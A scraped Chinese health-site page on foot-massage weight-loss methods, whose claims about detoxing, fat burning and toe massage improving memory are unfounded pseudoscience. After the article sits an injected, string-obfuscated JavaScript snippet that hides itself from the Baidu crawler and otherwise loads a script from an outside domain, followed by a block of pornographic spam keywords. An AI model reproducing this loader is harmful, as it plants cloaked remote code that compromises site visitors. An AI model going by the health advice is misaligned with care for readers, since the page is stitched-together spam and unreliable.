當前位置:首頁 > 減肥 > 中醫減肥 > 正文

腳底按摩減肥法的效果怎么樣

2017-03-08 12:05:37  來源:360常識網   熱度:
導語:減肥的方法有很多種,那么你知道哪種減肥效果最適合你嗎?今天小編要給大家分享的是腳底按摩減肥法,加快新陳代謝減肥效果棒棒的。

腳是支撐身體的重要部分,作為重要的一部分,減肥也就可以從腳入手。想知道怎樣進行腳部按摩嗎,別著急,一步步看下去,按照說明,你一定能學會如何幫自己進行腳步按摩。

方法1、敲擊腳底

每天晚上睡前用拳頭敲擊腳底,可以消除一天的疲勞,促進全身血液循環,是內臟排毒功能增強,使體內血管的排泄功能暢通無阻,加快燃脂速度。

做法:以腳掌為中心,有節奏的進行,以稍有疼痛感為度,每只腳100次左右,運動完成約2分鐘。

方法2、雙腳晃動

全身血液循環不佳,就會發生內臟功能失調和內分泌失調的現象,會出現體能毒素不能及時排除,新陳代謝速度過慢造成脂肪堆積,出現肥胖。簡單的腳局部刺激便可以促進血液循環,加快新陳代謝速度。

做法:仰臥在床上或地板上,先讓雙腳在空中晃動,然后像踏自行車一樣讓雙腳旋轉。持續2分鐘,全省血液循環立即通暢,燃燒脂肪,且有助于改善睡眠。

方法3、赤腳行走

此方法最大的優點是使掌心得到鍛煉的機會,掌心是保持按摩平衡的重要部位,行走時盡可能讓掌心得到刺激,可嘗試走卵石路,或在家中準備一塊帶圓潤突起的席墊。

做法:讓五指分離運動也是赤腳行走的一大優點,為了減肥和身體健康,在家中盡可能的讓雙腳從鞋襪中解放出來,赤腳行走。堅持2分鐘即可。

方法4、按摩腳趾

按摩腳趾不僅瘦身,還有增強記憶力的作用。

做法:可以用雙手抓住雙腳的大趾,作圓周按摩,每天按摩數次,每次2分鐘,也可以用手作圓周運動來搓小趾外側,由于記憶力是與小腦相關的,而小趾又是小腦的反射區,所以按摩小趾有助增強記憶力。按摩2分鐘。

方法5、摩擦雙腳

讓雙腳合攏起來相互摩擦,使血液循環通暢,待腳步感到溫暖,便可以在短時間內加強體內排毒燃脂功效。

做法:仰臥在床上或地板上,抬起雙腳用力相互摩擦,如果雙手同時進行摩擦效果更好。只要用力摩擦20次左右即可,約2分鐘。此方法同時還有助于睡眠。

腳部按摩法,睡前也能進行的方法,不會占用太多的時間,只要有耐心有恒心,都能進行的運動。趕快試一試吧。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品丝袜高跟鞋| 99精品视频在线观看| 亚洲精品无码永久在线观看男男| 久久亚洲美女精品国产精品| 亚洲精品一品区二品区三品区| 影院无码人妻精品一区二区| 国产剧情精品在线| 国产AV一区二区精品凹凸| 精品国产乱码久久久久久郑州公司| 国产私拍福利精品视频推出| 久久精品久久久久观看99水蜜桃 | 热re久久精品国产99热| 国产精品视频a播放| 91人前露出精品国产| 久久99精品国产自在现线小黄鸭 | 久久99精品一区二区三区| 国产亚洲精品va在线| 国产自啪精品视频网站丝袜| 在线私拍国产福利精品| 久久这里有精品视频| 国产精品片在线观看手机版| 国产精品无码无卡无需播放器| 国产福利精品视频自拍 | 91精品国产一区| 99RE久久精品国产| 777亚洲精品乱码久久久久久| 4444亚洲国产成人精品| 精品无码成人片一区二区98| 国产精品久久毛片完整版| 琪琪精品视频在线观看| 色欲AV永久无码精品无码| 精品国产区一区二区三区在线观看 | 色噜噜精品视频在线观看| 亚洲精品成a人在线观看☆| 国产香蕉九九久久精品免费| 国产精品成人va在线观看入口| 精品天海翼一区二区| 精品国产呦系列在线观看免费| 亚洲精品成人片在线观看精品字幕| 亚洲国产精品嫩草影院在线观看 | 人妻少妇精品视频二区|